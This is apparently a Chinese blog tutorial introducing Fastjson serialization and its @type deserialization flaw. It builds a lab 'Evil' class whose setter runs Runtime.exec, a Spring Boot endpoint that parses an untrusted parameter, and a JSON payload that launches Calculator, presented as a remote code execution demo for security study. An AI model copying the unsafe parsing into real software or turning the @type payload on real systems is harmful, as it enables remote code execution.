Fastjsonfan反序列链学习前置知识

Fastjson前置知识

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。

Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象

1、Fastjson基础用法

1.1、序列化与反序列基础用法

//序列化
String text = JSON.toJSONString(obj); 
//反序列化
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类

1.2、使用案例

实体类User

package com.akkacloud.pojo;

public class User {
    public int id;
    public String name;
    public int age;


    public User() {
    }

    public User(int id, String name, int age) {
        this.id = id;
        this.name = name;
        this.age = age;
    }

    @Override
    public String toString() {
        return "User{" +
                "id=" + id +
                ", name='" + name + '\'' +
                ", age=" + age +
                '}';
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

}

对象转字符串(序列化)

package com.akkacloud.pojo.demo;

import com.akkacloud.pojo.User;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class fastjsonTest {
    public static void main(String[] args) {
        User user = new User();
        user.setId(1);
        user.setName("zhangsan");
        user.setAge(18);

        //对象转字符串
        String s1 = JSON.toJSONString(user);
        String s2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
        System.out.println(s1);
        System.out.println(s2);
    }
}

输出结果

{"age":18,"id":1,"name":"zhangsan"}
{"@type":"com.akkacloud.pojo.User","age":18,"id":1,"name":"zhangsan"}

字符串转对象(反序列化)

package com.akkacloud.pojo.demo;

import com.akkacloud.pojo.User;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class fastjsonTest {
    public static void main(String[] args) {
        User user = new User();
        user.setId(1);
        user.setName("zhangsan");
        user.setAge(18);

        //对象转字符串
        String s1 = JSON.toJSONString(user);
        String s2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
        System.out.println(s1);
        System.out.println(s2);

        System.out.println("s1==========================s1");
        //字符串转对象
        Object o1 = JSON.parse(s1);
        JSONObject jo1 = JSON.parseObject(s1);
        User user1 = JSON.parseObject(s1, User.class);
        System.out.println(o1);
        System.out.println(jo1);
        System.out.println(user1);

        System.out.println("s2=========================s2");
        Object o2 = JSON.parse(s2);
        JSONObject jo2 = JSON.parseObject(s2);
        User user2 = JSON.parseObject(s2, User.class);
        System.out.println(o2);
        System.out.println(jo2);
        System.out.println(user2);


    }
}

输出结果

{"age":18,"id":1,"name":"zhangsan"}
{"@type":"com.akkacloud.pojo.User","age":18,"id":1,"name":"zhangsan"}
s1==========================s1
{"name":"zhangsan","id":1,"age":18}
{"name":"zhangsan","id":1,"age":18}
User{id=1, name='zhangsan', age=18}
s2=========================s2
User{id=1, name='zhangsan', age=18}
{"name":"zhangsan","id":1,"age":18}
User{id=1, name='zhangsan', age=18}

我们对比使用SerializerFeature.WriteClassName的s2和不使用的s1,发现序列化时(对象转为字符串)多了一个字段@type,他指定了我们序列化的类,那么我们在反序列化时(字符串转对象)也会使用我们指定的@type字段所指定的类,进而调用set、get方法。这样我们就可以同在在@type指定我们的恶意类,造成代码执行,但是在序列化时不会调用我们的private修饰且没有get方法的属性

我们修改User类的age为private属性并且删除其get方法试试,确实没有了age属性

image-20220412142226113

为什么会执行set方法呢

我们新建一个测试类看看

package com.fastjsontest.demo.pojo;

import java.io.IOException;

public class Evil {
    private String cmd;

    public Evil() {
        System.out.println("Evil==constructor");
    }

    public Evil(String cmd) {
        this.cmd = cmd;
        System.out.println("Evilcmd==constructor");
    }

    public String getCmd() {
        System.out.println("Evil==getter");
        return cmd;
    }

    public void setCmd(String cmd) throws IOException {

        System.out.println("Evil==setter");
        this.cmd = cmd;
    }

    @Override
    public String toString() {
        return "Evil{" +
                "cmd='" + cmd + '\'' +
                '}';
    }
}

调用输出来看看

package com.fastjsontest.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class test {
    public static void main(String[] args) {


        String cmdjson="{\"@type\":\"com.fastjsontest.demo.pojo.Evil\",\"cmd\":\"open /System/Applications/Calculator.app\"}";

        Object parse = JSON.parse(cmdjson);
        System.out.println("====================");
        JSONObject jsonObject = JSON.parseObject(cmdjson);
        System.out.println("====================");
        Object o = JSON.parseObject(cmdjson, Object.class);

    }
}

输出结果

image-20220412153109239

可以看到只有jsonObject调用getter、setter方法和无参构造方法,其他两个未调用getter方法,具体分析看大佬的文章https://y4er.com/post/fastjson-learn/,这里不做分析。

1.3、恶意类实现执行代码

接下来我们尝试构造一个恶意的类Evil,再起set方法设置我们的恶意代码。

package com.fastjsontest.demo.pojo;

import java.io.IOException;

public class Evil {
    private String cmd;

    public Evil() {
    }

    public Evil(String cmd) {
        this.cmd = cmd;
    }

    public String getCmd() {
        return cmd;
    }

    public void setCmd(String cmd) throws IOException {

        Runtime.getRuntime().exec(cmd);
        this.cmd = cmd;
    }

    @Override
    public String toString() {
        return "Evil{" +
                "cmd='" + cmd + '\'' +
                '}';
    }
}

创建一个springboot项目

package com.fastjsontest.demo.controller;

import com.alibaba.fastjson.JSON;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class fastjsontest {
    @RequestMapping("/fastjson")
    @ResponseBody
    public String cmd(@RequestParam(name="user") String user){

        Object o = JSON.parseObject(user, Object.class);
        System.out.println(o);


        return o.getClass().getName();
    }

}

访问http://127.0.0.1:8080/fastjson

post

user={"@type":"com.fastjsontest.demo.pojo.Evil","cmd":"open /System/Applications/Calculator.app"}

image-20220412151232806

那么假设我们有一个可控的入口,如这里的fastjson的user参数,再找到一个利用链(这里是Evil的set方法)就可以造成远程代码执行了

1.4、结束

本章学习了Fastjson的基本用法,漏洞利用,下一章学习fastjson的利用链。

参考链接

https://y4er.com/post/fastjson-learn/

https://www.cnblogs.com/nice0e3/p/14601670.html#

posted @ 2022-04-12 16:07  akka1  阅读(84)  评论(0编辑  收藏  举报